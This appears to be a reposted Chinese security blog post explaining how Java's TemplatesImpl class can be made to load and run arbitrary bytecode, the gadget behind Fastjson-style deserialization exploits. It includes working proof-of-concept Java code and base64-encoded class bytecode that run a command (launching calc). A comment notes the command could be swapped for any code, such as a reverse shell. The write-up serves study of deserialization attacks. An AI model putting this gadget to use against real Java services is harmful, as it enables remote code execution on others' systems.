• TemplatesImple链加载字节码


      http://note.youdao.com/s/UqSy1qZv

    TemplatesImple链加载字节码
    是⼀个可以加载字节码的类,通过调⽤其 newTransformer() ⽅法,即可执⾏这段字节码的类构造方法或静态方法
    通过ClassLoader#loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
    要经历下面三个方法的调用:
    • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
    • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
    • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
     
    所以类加载的核心就是最后的defineClass,我们可以先写一个demo来演示
    导入pom.xml
    <dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.1.GA</version> </dependency>
     
    package com.example.FastjsonVuln; import javassist.ClassPool; import javassist.CtClass; import java.lang.reflect.Method; public class DefineClassTest { public static void main(String[] args) throws Exception { // 生成一个Java字节码文件 ClassPool pool = ClassPool.getDefault();//返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool,返回的 ClassPool 对象搜索默认系统搜索路径。 CtClass test = pool.makeClass("Test");//创建一个testl类 String cmd = "Runtime rt = Runtime.getRuntime();Process proc = rt.exec("calc");"; test.makeClassInitializer().insertBefore(cmd);//能够创建staic代码块,JVM加载类时会执行这些静态的代码块 byte[] bytes = test.toBytecode();//转换成字节码 // 由于defineClass默认属性是protected,所以要用反射的方法来获取该方法 Class<?> Clazz = Class.forName("java.lang.ClassLoader"); Method defineClass = Clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); Class test1 = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Test", bytes, 0, bytes.length); test1.newInstance(); } }
    获取到一个Java字节码文件之后,可以通过ClassLoader#defineClass来把它变成真正的Java类。但是在defineClass执行的时候并不会触发static代码块或者类的构造方法的,只有当显式调用其构造函数的时候才会被执行。因为ClassLoader#defineClass的属性是protected,所以无法直接在类外部访问,在实际情况中很少直接利用这种方式。
    0
    但是在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中的内部类TransletClassLoader重写了defineClass方法,
    static final class TransletClassLoader extends ClassLoader { ······ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } ······ }
    并且这个方法没有声明作用域,默认为default,可以在类外部被调用,所以就有了下面这条链:
    TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TransletClassLoader#defineClass or TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码 ... Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。
    另外TemplatesImpl中对于加载的字节码有一定的要求:这个字节码所对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。因为:TemplatesImpl#getTransletInstance() 方法中455行,AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 转换成了AbstractTranslet,在java中由于继承子类是自动转换成父类,所以我们的poc需要继承AbstractTranslet这个类
    package com.example.FastjsonVuln; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Calc extends AbstractTranslet { public Calc() throws IOException { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Calc t = new Calc(); } }
     
    package com.example.FastjsonVuln; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.util.Base64; public class HelloTemplatesImpl { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { // source: bytecodes for calc.class byte[] code = Base64.getDecoder().decode("yv66vgAAADIAOgoACgAoCgApACoHACsIACwIAC0IAC4KACkALwcAMAoACAAoBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2V4YW1wbGUvRmFzdGpzb25WdWxuL0NhbGM7AQAKRXhjZXB0aW9ucwcAMgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAMwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwA0AQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACwAMBwA1DAA2ADcBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kAQACL2MBAARjYWxjDAA4ADkBAB1jb20vZXhhbXBsZS9GYXN0anNvblZ1bG4vQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAKAAAAAAAEAAEACwAMAAIADQAAAFEABQABAAAAHyq3AAG4AAIGvQADWQMSBFNZBBIFU1kFEgZTtgAHV7EAAAACAA4AAAAOAAMAAAAMAAQADQAeAA4ADwAAAAwAAQAAAB8AEAARAAAAEgAAAAQAAQATAAEAFAAVAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAASAA8AAAAqAAQAAAABABAAEQAAAAAAAQAWABcAAQAAAAEAGAAZAAIAAAABABoAGwADAAEAFAAcAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAXAA8AAAAgAAMAAAABABAAEQAAAAAAAQAWABcAAQAAAAEAHQAeAAIAEgAAAAQAAQAfAAkAIAAhAAIADQAAAEEAAgACAAAACbsACFm3AAlMsQAAAAIADgAAAAoAAgAAABoACAAbAA8AAAAWAAIAAAAJACIAIwAAAAgAAQAkABEAAQASAAAABAABACUAAQAmAAAAAgAn"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "Calc"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); } }
    可成功弹出计算机
     
    其中的setFieldValue方法是我们用来获取私有字段并初始化值,这儿我们有3个字段 _bytecodes,_name,_tfactory
    • _bytecodes 是由编译好的Calc.class(也是我们的payload)的base64编码;TemplatesImpl#defineTransletClasses函数我们可以通过defineclass(414行)来从_bytecodes中加载恶意类
    • _name 只要不为null即可;因为在TemplatesImpl#getTransletInstance() 方法(#449行) if语句判断了_name不能为空
    • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错
     
    分析整个gadget链可以看参考连接1
     
     
     
    参考连接
    分析templatesImpl 加载字节码:https://xz.aliyun.com/t/7096#toc-1
    P神知识星球13篇
  • 相关阅读:
    洛谷P2066 机器分配【dp】
    [HNOI2004]打鼹鼠【dp】
    [ZJOI2008][BZOJ1037] 生日聚会Party|动态规划]
    Java中Map<Key, Value>存储结构根据值排序(sort by values)
    LATEX如何写多个条件推导式推出一个结论
    书列荐书 |《黑天鹅&#183;如何应对不可预知的未来》【美】纳西姆 尼古拉斯 塔勒布 著
    Java | Stream流、泛型、多线程 | 整理自用
    书列荐书 |《代码整洁之道》之 类 的设计
    书列荐书 |《认知红利》 谢春霖著
    eclipse集成processing、PApplet、proclipsing 问题
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/14793868.html
Copyright © 2020-2023  润新知